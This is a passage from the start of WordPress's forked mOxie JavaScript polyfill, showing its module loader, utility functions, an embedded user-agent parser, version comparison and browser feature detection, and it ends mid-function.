1;var MXI_DEBUG = false;
2/**
3 * mOxie - multi-runtime File API & XMLHttpRequest L2 Polyfill
4 * v1.3.5.1
5 *
6 * Copyright 2013, Moxiecode Systems AB
7 * Released under GPL License.
8 *
9 * License: http://www.plupload.com/license
10 * Contributing: http://www.plupload.com/contributing
11 *
12 * Date: 2016-05-15
13 */
14/**
15 * Compiled inline version. (Library mode)
16 */
17
18/**
19 * Modified for WordPress.
20 * - Silverlight and Flash runtimes support was removed. See https://core.trac.wordpress.org/ticket/41755.
21 * - A stray Unicode character has been removed. See https://core.trac.wordpress.org/ticket/59329.
22 *
23 * This is a de-facto fork of the mOxie library that will be maintained by WordPress due to upstream license changes
24 * that are incompatible with the GPL.
25 */
26
27/*jshint smarttabs:true, undef:true, latedef:true, curly:true, bitwise:true, camelcase:true */
28/*globals $code */
29
30(function(exports, undefined) {
31 "use strict";
32
33 var modules = {};
34
35 function require(ids, callback) {
36 var module, defs = [];
37
38 for (var i = 0; i < ids.length; ++i) {
39 module = modules[ids[i]] || resolve(ids[i]);
40 if (!module) {
41 throw 'module definition dependecy not found: ' + ids[i];
42 }
43
44 defs.push(module);
45 }
46
47 callback.apply(null, defs);
48 }
49
50 function define(id, dependencies, definition) {
51 if (typeof id !== 'string') {
52 throw 'invalid module definition, module id must be defined and be a string';
53 }
54
55 if (dependencies === undefined) {
56 throw 'invalid module definition, dependencies must be specified';
57 }
58
59 if (definition === undefined) {
60 throw 'invalid module definition, definition function must be specified';
61 }
62
63 require(dependencies, function() {
64 modules[id] = definition.apply(null, arguments);
65 });
66 }
67
68 function defined(id) {
69 return !!modules[id];
70 }
71
72 function resolve(id) {
73 var target = exports;
74 var fragments = id.split(/[.\/]/);
75
76 for (var fi = 0; fi < fragments.length; ++fi) {
77 if (!target[fragments[fi]]) {
78 return;
79 }
80
81 target = target[fragments[fi]];
82 }
83
84 return target;
85 }
86
87 function expose(ids) {
88 for (var i = 0; i < ids.length; i++) {
89 var target = exports;
90 var id = ids[i];
91 var fragments = id.split(/[.\/]/);
92
93 for (var fi = 0; fi < fragments.length - 1; ++fi) {
94 if (target[fragments[fi]] === undefined) {
95 target[fragments[fi]] = {};
96 }
97
98 target = target[fragments[fi]];
99 }
100
101 target[fragments[fragments.length - 1]] = modules[id];
102 }
103 }
104
105// Included from: src/javascript/core/utils/Basic.js
106
107/**
108 * Basic.js
109 *
110 * Copyright 2013, Moxiecode Systems AB
111 * Released under GPL License.
112 *
113 * License: http://www.plupload.com/license
114 * Contributing: http://www.plupload.com/contributing
115 */
116
117define('moxie/core/utils/Basic', [], function() {
118 /**
119 Gets the true type of the built-in object (better version of typeof).
120 @author Angus Croll (http://javascriptweblog.wordpress.com/)
121
122 @method typeOf
123 @for Utils
124 @static
125 @param {Object} o Object to check.
126 @return {String} Object [[Class]]
127 */
128 var typeOf = function(o) {
129 var undef;
130
131 if (o === undef) {
132 return 'undefined';
133 } else if (o === null) {
134 return 'null';
135 } else if (o.nodeType) {
136 return 'node';
137 }
138
139 // the snippet below is awesome, however it fails to detect null, undefined and arguments types in IE lte 8
140 return ({}).toString.call(o).match(/\s([a-z|A-Z]+)/)[1].toLowerCase();
141 };
142
143 /**
144 Extends the specified object with another object.
145
146 @method extend
147 @static
148 @param {Object} target Object to extend.
149 @param {Object} [obj]* Multiple objects to extend with.
150 @return {Object} Same as target, the extended object.
151 */
152 var extend = function(target) {
153 var undef;
154
155 each(arguments, function(arg, i) {
156 if (i > 0) {
157 each(arg, function(value, key) {
158 if (value !== undef) {
159 if (typeOf(target[key]) === typeOf(value) && !!~inArray(typeOf(value), ['array', 'object'])) {
160 extend(target[key], value);
161 } else {
162 target[key] = value;
163 }
164 }
165 });
166 }
167 });
168 return target;
169 };
170
171 /**
172 Executes the callback function for each item in array/object. If you return false in the
173 callback it will break the loop.
174
175 @method each
176 @static
177 @param {Object} obj Object to iterate.
178 @param {function} callback Callback function to execute for each item.
179 */
180 var each = function(obj, callback) {
181 var length, key, i, undef;
182
183 if (obj) {
184 if (typeOf(obj.length) === 'number') { // it might be Array, FileList or even arguments object
185 // Loop array items
186 for (i = 0, length = obj.length; i < length; i++) {
187 if (callback(obj[i], i) === false) {
188 return;
189 }
190 }
191 } else if (typeOf(obj) === 'object') {
192 // Loop object items
193 for (key in obj) {
194 if (obj.hasOwnProperty(key)) {
195 if (callback(obj[key], key) === false) {
196 return;
197 }
198 }
199 }
200 }
201 }
202 };
203
204 /**
205 Checks if object is empty.
206
207 @method isEmptyObj
208 @static
209 @param {Object} o Object to check.
210 @return {Boolean}
211 */
212 var isEmptyObj = function(obj) {
213 var prop;
214
215 if (!obj || typeOf(obj) !== 'object') {
216 return true;
217 }
218
219 for (prop in obj) {
220 return false;
221 }
222
223 return true;
224 };
225
226 /**
227 Recieve an array of functions (usually async) to call in sequence, each function
228 receives a callback as first argument that it should call, when it completes. Finally,
229 after everything is complete, main callback is called. Passing truthy value to the
230 callback as a first argument will interrupt the sequence and invoke main callback
231 immediately.
232
233 @method inSeries
234 @static
235 @param {Array} queue Array of functions to call in sequence
236 @param {Function} cb Main callback that is called in the end, or in case of error
237 */
238 var inSeries = function(queue, cb) {
239 var i = 0, length = queue.length;
240
241 if (typeOf(cb) !== 'function') {
242 cb = function() {};
243 }
244
245 if (!queue || !queue.length) {
246 cb();
247 }
248
249 function callNext(i) {
250 if (typeOf(queue[i]) === 'function') {
251 queue[i](function(error) {
252 /*jshint expr:true */
253 ++i < length && !error ? callNext(i) : cb(error);
254 });
255 }
256 }
257 callNext(i);
258 };
259
260
261 /**
262 Recieve an array of functions (usually async) to call in parallel, each function
263 receives a callback as first argument that it should call, when it completes. After
264 everything is complete, main callback is called. Passing truthy value to the
265 callback as a first argument will interrupt the process and invoke main callback
266 immediately.
267
268 @method inParallel
269 @static
270 @param {Array} queue Array of functions to call in sequence
271 @param {Function} cb Main callback that is called in the end, or in case of error
272 */
273 var inParallel = function(queue, cb) {
274 var count = 0, num = queue.length, cbArgs = new Array(num);
275
276 each(queue, function(fn, i) {
277 fn(function(error) {
278 if (error) {
279 return cb(error);
280 }
281
282 var args = [].slice.call(arguments);
283 args.shift(); // strip error - undefined or not
284
285 cbArgs[i] = args;
286 count++;
287
288 if (count === num) {
289 cbArgs.unshift(null);
290 cb.apply(this, cbArgs);
291 }
292 });
293 });
294 };
295
296
297 /**
298 Find an element in array and return it's index if present, otherwise return -1.
299
300 @method inArray
301 @static
302 @param {Mixed} needle Element to find
303 @param {Array} array
304 @return {Int} Index of the element, or -1 if not found
305 */
306 var inArray = function(needle, array) {
307 if (array) {
308 if (Array.prototype.indexOf) {
309 return Array.prototype.indexOf.call(array, needle);
310 }
311
312 for (var i = 0, length = array.length; i < length; i++) {
313 if (array[i] === needle) {
314 return i;
315 }
316 }
317 }
318 return -1;
319 };
320
321
322 /**
323 Returns elements of first array if they are not present in second. And false - otherwise.
324
325 @private
326 @method arrayDiff
327 @param {Array} needles
328 @param {Array} array
329 @return {Array|Boolean}
330 */
331 var arrayDiff = function(needles, array) {
332 var diff = [];
333
334 if (typeOf(needles) !== 'array') {
335 needles = [needles];
336 }
337
338 if (typeOf(array) !== 'array') {
339 array = [array];
340 }
341
342 for (var i in needles) {
343 if (inArray(needles[i], array) === -1) {
344 diff.push(needles[i]);
345 }
346 }
347 return diff.length ? diff : false;
348 };
349
350
351 /**
352 Find intersection of two arrays.
353
354 @private
355 @method arrayIntersect
356 @param {Array} array1
357 @param {Array} array2
358 @return {Array} Intersection of two arrays or null if there is none
359 */
360 var arrayIntersect = function(array1, array2) {
361 var result = [];
362 each(array1, function(item) {
363 if (inArray(item, array2) !== -1) {
364 result.push(item);
365 }
366 });
367 return result.length ? result : null;
368 };
369
370
371 /**
372 Forces anything into an array.
373
374 @method toArray
375 @static
376 @param {Object} obj Object with length field.
377 @return {Array} Array object containing all items.
378 */
379 var toArray = function(obj) {
380 var i, arr = [];
381
382 for (i = 0; i < obj.length; i++) {
383 arr[i] = obj[i];
384 }
385
386 return arr;
387 };
388
389
390 /**
391 Generates an unique ID. The only way a user would be able to get the same ID is if the two persons
392 at the same exact millisecond manage to get the same 5 random numbers between 0-65535; it also uses
393 a counter so each ID is guaranteed to be unique for the given page. It is more probable for the earth
394 to be hit with an asteroid.
395
396 @method guid
397 @static
398 @param {String} prefix to prepend (by default 'o' will be prepended).
399 @method guid
400 @return {String} Virtually unique id.
401 */
402 var guid = (function() {
403 var counter = 0;
404
405 return function(prefix) {
406 var guid = new Date().getTime().toString(32), i;
407
408 for (i = 0; i < 5; i++) {
409 guid += Math.floor(Math.random() * 65535).toString(32);
410 }
411
412 return (prefix || 'o_') + guid + (counter++).toString(32);
413 };
414 }());
415
416
417 /**
418 Trims white spaces around the string
419
420 @method trim
421 @static
422 @param {String} str
423 @return {String}
424 */
425 var trim = function(str) {
426 if (!str) {
427 return str;
428 }
429 return String.prototype.trim ? String.prototype.trim.call(str) : str.toString().replace(/^\s*/, '').replace(/\s*$/, '');
430 };
431
432
433 /**
434 Parses the specified size string into a byte value. For example 10kb becomes 10240.
435
436 @method parseSizeStr
437 @static
438 @param {String/Number} size String to parse or number to just pass through.
439 @return {Number} Size in bytes.
440 */
441 var parseSizeStr = function(size) {
442 if (typeof(size) !== 'string') {
443 return size;
444 }
445
446 var muls = {
447 t: 1099511627776,
448 g: 1073741824,
449 m: 1048576,
450 k: 1024
451 },
452 mul;
453
454
455 size = /^([0-9\.]+)([tmgk]?)$/.exec(size.toLowerCase().replace(/[^0-9\.tmkg]/g, ''));
456 mul = size[2];
457 size = +size[1];
458
459 if (muls.hasOwnProperty(mul)) {
460 size *= muls[mul];
461 }
462 return Math.floor(size);
463 };
464
465
466 /**
467 * Pseudo sprintf implementation - simple way to replace tokens with specified values.
468 *
469 * @param {String} str String with tokens
470 * @return {String} String with replaced tokens
471 */
472 var sprintf = function(str) {
473 var args = [].slice.call(arguments, 1);
474
475 return str.replace(/%[a-z]/g, function() {
476 var value = args.shift();
477 return typeOf(value) !== 'undefined' ? value : '';
478 });
479 };
480
481
482 return {
483 guid: guid,
484 typeOf: typeOf,
485 extend: extend,
486 each: each,
487 isEmptyObj: isEmptyObj,
488 inSeries: inSeries,
489 inParallel: inParallel,
490 inArray: inArray,
491 arrayDiff: arrayDiff,
492 arrayIntersect: arrayIntersect,
493 toArray: toArray,
494 trim: trim,
495 sprintf: sprintf,
496 parseSizeStr: parseSizeStr
497 };
498});
499
500// Included from: src/javascript/core/utils/Env.js
501
502/**
503 * Env.js
504 *
505 * Copyright 2013, Moxiecode Systems AB
506 * Released under GPL License.
507 *
508 * License: http://www.plupload.com/license
509 * Contributing: http://www.plupload.com/contributing
510 */
511
512define("moxie/core/utils/Env", [
513 "moxie/core/utils/Basic"
514], function(Basic) {
515
516 /**
517 * UAParser.js v0.7.7
518 * Lightweight JavaScript-based User-Agent string parser
519 * https://github.com/faisalman/ua-parser-js
520 *
521 * Copyright © 2012-2015 Faisal Salman <fyzlman@gmail.com>
522 * Dual licensed under GPLv2 & MIT
523 */
524 var UAParser = (function (undefined) {
525
526 //////////////
527 // Constants
528 /////////////
529
530
531 var EMPTY = '',
532 UNKNOWN = '?',
533 FUNC_TYPE = 'function',
534 UNDEF_TYPE = 'undefined',
535 OBJ_TYPE = 'object',
536 MAJOR = 'major',
537 MODEL = 'model',
538 NAME = 'name',
539 TYPE = 'type',
540 VENDOR = 'vendor',
541 VERSION = 'version',
542 ARCHITECTURE= 'architecture',
543 CONSOLE = 'console',
544 MOBILE = 'mobile',
545 TABLET = 'tablet';
546
547
548 ///////////
549 // Helper
550 //////////
551
552
553 var util = {
554 has : function (str1, str2) {
555 return str2.toLowerCase().indexOf(str1.toLowerCase()) !== -1;
556 },
557 lowerize : function (str) {
558 return str.toLowerCase();
559 }
560 };
561
562
563 ///////////////
564 // Map helper
565 //////////////
566
567
568 var mapper = {
569
570 rgx : function () {
571
572 // loop through all regexes maps
573 for (var result, i = 0, j, k, p, q, matches, match, args = arguments; i < args.length; i += 2) {
574
575 var regex = args[i], // even sequence (0,2,4,..)
576 props = args[i + 1]; // odd sequence (1,3,5,..)
577
578 // construct object barebones
579 if (typeof(result) === UNDEF_TYPE) {
580 result = {};
581 for (p in props) {
582 q = props[p];
583 if (typeof(q) === OBJ_TYPE) {
584 result[q[0]] = undefined;
585 } else {
586 result[q] = undefined;
587 }
588 }
589 }
590
591 // try matching uastring with regexes
592 for (j = k = 0; j < regex.length; j++) {
593 matches = regex[j].exec(this.getUA());
594 if (!!matches) {
595 for (p = 0; p < props.length; p++) {
596 match = matches[++k];
597 q = props[p];
598 // check if given property is actually array
599 if (typeof(q) === OBJ_TYPE && q.length > 0) {
600 if (q.length == 2) {
601 if (typeof(q[1]) == FUNC_TYPE) {
602 // assign modified match
603 result[q[0]] = q[1].call(this, match);
604 } else {
605 // assign given value, ignore regex match
606 result[q[0]] = q[1];
607 }
608 } else if (q.length == 3) {
609 // check whether function or regex
610 if (typeof(q[1]) === FUNC_TYPE && !(q[1].exec && q[1].test)) {
611 // call function (usually string mapper)
612 result[q[0]] = match ? q[1].call(this, match, q[2]) : undefined;
613 } else {
614 // sanitize match using given regex
615 result[q[0]] = match ? match.replace(q[1], q[2]) : undefined;
616 }
617 } else if (q.length == 4) {
618 result[q[0]] = match ? q[3].call(this, match.replace(q[1], q[2])) : undefined;
619 }
620 } else {
621 result[q] = match ? match : undefined;
622 }
623 }
624 break;
625 }
626 }
627
628 if(!!matches) break; // break the loop immediately if match found
629 }
630 return result;
631 },
632
633 str : function (str, map) {
634
635 for (var i in map) {
636 // check if array
637 if (typeof(map[i]) === OBJ_TYPE && map[i].length > 0) {
638 for (var j = 0; j < map[i].length; j++) {
639 if (util.has(map[i][j], str)) {
640 return (i === UNKNOWN) ? undefined : i;
641 }
642 }
643 } else if (util.has(map[i], str)) {
644 return (i === UNKNOWN) ? undefined : i;
645 }
646 }
647 return str;
648 }
649 };
650
651
652 ///////////////
653 // String map
654 //////////////
655
656
657 var maps = {
658
659 browser : {
660 oldsafari : {
661 major : {
662 '1' : ['/8', '/1', '/3'],
663 '2' : '/4',
664 '?' : '/'
665 },
666 version : {
667 '1.0' : '/8',
668 '1.2' : '/1',
669 '1.3' : '/3',
670 '2.0' : '/412',
671 '2.0.2' : '/416',
672 '2.0.3' : '/417',
673 '2.0.4' : '/419',
674 '?' : '/'
675 }
676 }
677 },
678
679 device : {
680 sprint : {
681 model : {
682 'Evo Shift 4G' : '7373KT'
683 },
684 vendor : {
685 'HTC' : 'APA',
686 'Sprint' : 'Sprint'
687 }
688 }
689 },
690
691 os : {
692 windows : {
693 version : {
694 'ME' : '4.90',
695 'NT 3.11' : 'NT3.51',
696 'NT 4.0' : 'NT4.0',
697 '2000' : 'NT 5.0',
698 'XP' : ['NT 5.1', 'NT 5.2'],
699 'Vista' : 'NT 6.0',
700 '7' : 'NT 6.1',
701 '8' : 'NT 6.2',
702 '8.1' : 'NT 6.3',
703 'RT' : 'ARM'
704 }
705 }
706 }
707 };
708
709
710 //////////////
711 // Regex map
712 /////////////
713
714
715 var regexes = {
716
717 browser : [[
718
719 // Presto based
720 /(opera\smini)\/([\w\.-]+)/i, // Opera Mini
721 /(opera\s[mobiletab]+).+version\/([\w\.-]+)/i, // Opera Mobi/Tablet
722 /(opera).+version\/([\w\.]+)/i, // Opera > 9.80
723 /(opera)[\/\s]+([\w\.]+)/i // Opera < 9.80
724
725 ], [NAME, VERSION], [
726
727 /\s(opr)\/([\w\.]+)/i // Opera Webkit
728 ], [[NAME, 'Opera'], VERSION], [
729
730 // Mixed
731 /(kindle)\/([\w\.]+)/i, // Kindle
732 /(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i,
733 // Lunascape/Maxthon/Netfront/Jasmine/Blazer
734
735 // Trident based
736 /(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i,
737 // Avant/IEMobile/SlimBrowser/Baidu
738 /(?:ms|\()(ie)\s([\w\.]+)/i, // Internet Explorer
739
740 // Webkit/KHTML based
741 /(rekonq)\/([\w\.]+)*/i, // Rekonq
742 /(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i
743 // Chromium/Flock/RockMelt/Midori/Epiphany/Silk/Skyfire/Bolt/Iron
744 ], [NAME, VERSION], [
745
746 /(trident).+rv[:\s]([\w\.]+).+like\sgecko/i // IE11
747 ], [[NAME, 'IE'], VERSION], [
748
749 /(edge)\/((\d+)?[\w\.]+)/i // Microsoft Edge
750 ], [NAME, VERSION], [
751
752 /(yabrowser)\/([\w\.]+)/i // Yandex
753 ], [[NAME, 'Yandex'], VERSION], [
754
755 /(comodo_dragon)\/([\w\.]+)/i // Comodo Dragon
756 ], [[NAME, /_/g, ' '], VERSION], [
757
758 /(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i,
759 // Chrome/OmniWeb/Arora/Tizen/Nokia
760 /(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i
761 // UCBrowser/QQBrowser
762 ], [NAME, VERSION], [
763
764 /(dolfin)\/([\w\.]+)/i // Dolphin
765 ], [[NAME, 'Dolphin'], VERSION], [
766
767 /((?:android.+)crmo|crios)\/([\w\.]+)/i // Chrome for Android/iOS
768 ], [[NAME, 'Chrome'], VERSION], [
769
770 /XiaoMi\/MiuiBrowser\/([\w\.]+)/i // MIUI Browser
771 ], [VERSION, [NAME, 'MIUI Browser']], [
772
773 /android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i // Android Browser
774 ], [VERSION, [NAME, 'Android Browser']], [
775
776 /FBAV\/([\w\.]+);/i // Facebook App for iOS
777 ], [VERSION, [NAME, 'Facebook']], [
778
779 /version\/([\w\.]+).+?mobile\/\w+\s(safari)/i // Mobile Safari
780 ], [VERSION, [NAME, 'Mobile Safari']], [
781
782 /version\/([\w\.]+).+?(mobile\s?safari|safari)/i // Safari & Safari Mobile
783 ], [VERSION, NAME], [
784
785 /webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i // Safari < 3.0
786 ], [NAME, [VERSION, mapper.str, maps.browser.oldsafari.version]], [
787
788 /(konqueror)\/([\w\.]+)/i, // Konqueror
789 /(webkit|khtml)\/([\w\.]+)/i
790 ], [NAME, VERSION], [
791
792 // Gecko based
793 /(navigator|netscape)\/([\w\.-]+)/i // Netscape
794 ], [[NAME, 'Netscape'], VERSION], [
795 /(swiftfox)/i, // Swiftfox
796 /(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,
797 // IceDragon/Iceweasel/Camino/Chimera/Fennec/Maemo/Minimo/Conkeror
798 /(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i,
799 // Firefox/SeaMonkey/K-Meleon/IceCat/IceApe/Firebird/Phoenix
800 /(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i, // Mozilla
801
802 // Other
803 /(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i,
804 // Polaris/Lynx/Dillo/iCab/Doris/Amaya/w3m/NetSurf
805 /(links)\s\(([\w\.]+)/i, // Links
806 /(gobrowser)\/?([\w\.]+)*/i, // GoBrowser
807 /(ice\s?browser)\/v?([\w\._]+)/i, // ICE Browser
808 /(mosaic)[\/\s]([\w\.]+)/i // Mosaic
809 ], [NAME, VERSION]
810 ],
811
812 engine : [[
813
814 /windows.+\sedge\/([\w\.]+)/i // EdgeHTML
815 ], [VERSION, [NAME, 'EdgeHTML']], [
816
817 /(presto)\/([\w\.]+)/i, // Presto
818 /(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i, // WebKit/Trident/NetFront/NetSurf/Amaya/Lynx/w3m
819 /(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i, // KHTML/Tasman/Links
820 /(icab)[\/\s]([23]\.[\d\.]+)/i // iCab
821 ], [NAME, VERSION], [
822
823 /rv\:([\w\.]+).*(gecko)/i // Gecko
824 ], [VERSION, NAME]
825 ],
826
827 os : [[
828
829 // Windows based
830 /microsoft\s(windows)\s(vista|xp)/i // Windows (iTunes)
831 ], [NAME, VERSION], [
832 /(windows)\snt\s6\.2;\s(arm)/i, // Windows RT
833 /(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i
834 ], [NAME, [VERSION, mapper.str, maps.os.windows.version]], [
835 /(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i
836 ], [[NAME, 'Windows'], [VERSION, mapper.str, maps.os.windows.version]], [
837
838 // Mobile/Embedded OS
839 /\((bb)(10);/i // BlackBerry 10
840 ], [[NAME, 'BlackBerry'], VERSION], [
841 /(blackberry)\w*\/?([\w\.]+)*/i, // Blackberry
842 /(tizen)[\/\s]([\w\.]+)/i, // Tizen
843 /(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i,
844 // Android/WebOS/Palm/QNX/Bada/RIM/MeeGo/Contiki
845 /linux;.+(sailfish);/i // Sailfish OS
846 ], [NAME, VERSION], [
847 /(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i // Symbian
848 ], [[NAME, 'Symbian'], VERSION], [
849 /\((series40);/i // Series 40
850 ], [NAME], [
851 /mozilla.+\(mobile;.+gecko.+firefox/i // Firefox OS
852 ], [[NAME, 'Firefox OS'], VERSION], [
853
854 // Console
855 /(nintendo|playstation)\s([wids3portablevu]+)/i, // Nintendo/Playstation
856
857 // GNU/Linux based
858 /(mint)[\/\s\(]?(\w+)*/i, // Mint
859 /(mageia|vectorlinux)[;\s]/i, // Mageia/VectorLinux
860 /(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i,
861 // Joli/Ubuntu/Debian/SUSE/Gentoo/Arch/Slackware
862 // Fedora/Mandriva/CentOS/PCLinuxOS/RedHat/Zenwalk/Linpus
863 /(hurd|linux)\s?([\w\.]+)*/i, // Hurd/Linux
864 /(gnu)\s?([\w\.]+)*/i // GNU
865 ], [NAME, VERSION], [
866
867 /(cros)\s[\w]+\s([\w\.]+\w)/i // Chromium OS
868 ], [[NAME, 'Chromium OS'], VERSION],[
869
870 // Solaris
871 /(sunos)\s?([\w\.]+\d)*/i // Solaris
872 ], [[NAME, 'Solaris'], VERSION], [
873
874 // BSD based
875 /\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i // FreeBSD/NetBSD/OpenBSD/PC-BSD/DragonFly
876 ], [NAME, VERSION],[
877
878 /(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i // iOS
879 ], [[NAME, 'iOS'], [VERSION, /_/g, '.']], [
880
881 /(mac\sos\sx)\s?([\w\s\.]+\w)*/i,
882 /(macintosh|mac(?=_powerpc)\s)/i // Mac OS
883 ], [[NAME, 'Mac OS'], [VERSION, /_/g, '.']], [
884
885 // Other
886 /((?:open)?solaris)[\/\s-]?([\w\.]+)*/i, // Solaris
887 /(haiku)\s(\w+)/i, // Haiku
888 /(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i, // AIX
889 /(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i,
890 // Plan9/Minix/BeOS/OS2/AmigaOS/MorphOS/RISCOS/OpenVMS
891 /(unix)\s?([\w\.]+)*/i // UNIX
892 ], [NAME, VERSION]
893 ]
894 };
895
896
897 /////////////////
898 // Constructor
899 ////////////////
900
901
902 var UAParser = function (uastring) {
903
904 var ua = uastring || ((window && window.navigator && window.navigator.userAgent) ? window.navigator.userAgent : EMPTY);
905
906 this.getBrowser = function () {
907 return mapper.rgx.apply(this, regexes.browser);
908 };
909 this.getEngine = function () {
910 return mapper.rgx.apply(this, regexes.engine);
911 };
912 this.getOS = function () {
913 return mapper.rgx.apply(this, regexes.os);
914 };
915 this.getResult = function() {
916 return {
917 ua : this.getUA(),
918 browser : this.getBrowser(),
919 engine : this.getEngine(),
920 os : this.getOS()
921 };
922 };
923 this.getUA = function () {
924 return ua;
925 };
926 this.setUA = function (uastring) {
927 ua = uastring;
928 return this;
929 };
930 this.setUA(ua);
931 };
932
933 return UAParser;
934 })();
935
936
937 function version_compare(v1, v2, operator) {
938 // From: http://phpjs.org/functions
939 // + original by: Philippe Jausions (http://pear.php.net/user/jausions)
940 // + original by: Aidan Lister (http://aidanlister.com/)
941 // + reimplemented by: Kankrelune (http://www.webfaktory.info/)
942 // + improved by: Brett Zamir (http://brett-zamir.me)
943 // + improved by: Scott Baker
944 // + improved by: Theriault
945 // * example 1: version_compare('8.2.5rc', '8.2.5a');
946 // * returns 1: 1
947 // * example 2: version_compare('8.2.50', '8.2.52', '<');
948 // * returns 2: true
949 // * example 3: version_compare('5.3.0-dev', '5.3.0');
950 // * returns 3: -1
951 // * example 4: version_compare('4.1.0.52','4.01.0.51');
952 // * returns 4: 1
953
954 // Important: compare must be initialized at 0.
955 var i = 0,
956 x = 0,
957 compare = 0,
958 // vm maps textual PHP versions to negatives so they're less than 0.
959 // PHP currently defines these as CASE-SENSITIVE. It is important to
960 // leave these as negatives so that they can come before numerical versions
961 // and as if no letters were there to begin with.
962 // (1alpha is < 1 and < 1.1 but > 1dev1)
963 // If a non-numerical value can't be mapped to this table, it receives
964 // -7 as its value.
965 vm = {
966 'dev': -6,
967 'alpha': -5,
968 'a': -5,
969 'beta': -4,
970 'b': -4,
971 'RC': -3,
972 'rc': -3,
973 '#': -2,
974 'p': 1,
975 'pl': 1
976 },
977 // This function will be called to prepare each version argument.
978 // It replaces every _, -, and + with a dot.
979 // It surrounds any nonsequence of numbers/dots with dots.
980 // It replaces sequences of dots with a single dot.
981 // version_compare('4..0', '4.0') == 0
982 // Important: A string of 0 length needs to be converted into a value
983 // even less than an unexisting value in vm (-7), hence [-8].
984 // It's also important to not strip spaces because of this.
985 // version_compare('', ' ') == 1
986 prepVersion = function (v) {
987 v = ('' + v).replace(/[_\-+]/g, '.');
988 v = v.replace(/([^.\d]+)/g, '.$1.').replace(/\.{2,}/g, '.');
989 return (!v.length ? [-8] : v.split('.'));
990 },
991 // This converts a version component to a number.
992 // Empty component becomes 0.
993 // Non-numerical component becomes a negative number.
994 // Numerical component becomes itself as an integer.
995 numVersion = function (v) {
996 return !v ? 0 : (isNaN(v) ? vm[v] || -7 : parseInt(v, 10));
997 };
998
999 v1 = prepVersion(v1);
1000 v2 = prepVersion(v2);
1001 x = Math.max(v1.length, v2.length);
1002 for (i = 0; i < x; i++) {
1003 if (v1[i] == v2[i]) {
1004 continue;
1005 }
1006 v1[i] = numVersion(v1[i]);
1007 v2[i] = numVersion(v2[i]);
1008 if (v1[i] < v2[i]) {
1009 compare = -1;
1010 break;
1011 } else if (v1[i] > v2[i]) {
1012 compare = 1;
1013 break;
1014 }
1015 }
1016 if (!operator) {
1017 return compare;
1018 }
1019
1020 // Important: operator is CASE-SENSITIVE.
1021 // "No operator" seems to be treated as "<."
1022 // Any other values seem to make the function return null.
1023 switch (operator) {
1024 case '>':
1025 case 'gt':
1026 return (compare > 0);
1027 case '>=':
1028 case 'ge':
1029 return (compare >= 0);
1030 case '<=':
1031 case 'le':
1032 return (compare <= 0);
1033 case '==':
1034 case '=':
1035 case 'eq':
1036 return (compare === 0);
1037 case '<>':
1038 case '!=':
1039 case 'ne':
1040 return (compare !== 0);
1041 case '':
1042 case '<':
1043 case 'lt':
1044 return (compare < 0);
1045 default:
1046 return null;
1047 }
1048 }
1049
1050
1051 var can = (function() {
1052 var caps = {
1053 define_property: (function() {
1054 /* // currently too much extra code required, not exactly worth it
1055 try { // as of IE8, getters/setters are supported only on DOM elements
1056 var obj = {};
1057 if (Object.defineProperty) {
1058 Object.defineProperty(obj, 'prop', {
1059 enumerable: true,
1060 configurable: true
1061 });
1062 return true;
1063 }
1064 } catch(ex) {}
1065
1066 if (Object.prototype.__defineGetter__ && Object.prototype.__defineSetter__) {
1067 return true;
1068 }*/
1069 return false;
1070 }()),
1071
1072 create_canvas: (function() {
1073 // On the S60 and BB Storm, getContext exists, but always returns undefined
1074 // so we actually have to call getContext() to verify
1075 // github.com/Modernizr/Modernizr/issues/issue/97/
1076 var el = document.createElement('canvas');
1077 return !!(el.getContext && el.getContext('2d'));
1078 }()),
1079
1080 return_response_type: function(responseType) {
1081 try {
1082 if (Basic.inArray(responseType, ['', 'text', 'document']) !== -1) {
1083 return true;
1084 } else if (window.XMLHttpRequest) {
1085 var xhr = new XMLHttpRequest();
1086 xhr.open('get', '/'); // otherwise Gecko throws an exception
1087 if ('responseType' in xhr) {
1088 xhr.responseType = responseType;
1089 // as of 23.0.1271.64, Chrome switched from throwing exception to merely logging it to the console (why? o why?)
1090 if (xhr.responseType !== responseType) {
1091 return false;
1092 }
1093 return true;
1094 }
1095 }
1096 } catch (ex) {}
1097 return false;
1098 },
1099
1100 // ideas for this heavily come from Modernizr (http://modernizr.com/)
1101 use_data_uri: (function() {
1102 var du = new Image();
1103
1104 du.onload = function() {
1105 caps.use_data_uri = (du.width === 1 && du.height === 1);
1106 };
1107
1108 setTimeout(function() {
1109 du.src = "data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==";
1110 }, 1);
1111 return false;
1112 }()),
1113
1114 use_data_uri_over32kb: function() { // IE8
1115 return caps.use_data_uri && (Env.browser !== 'IE' || Env.version >= 9);
1116 },
1117
1118 use_data_uri_of: function(bytes) {
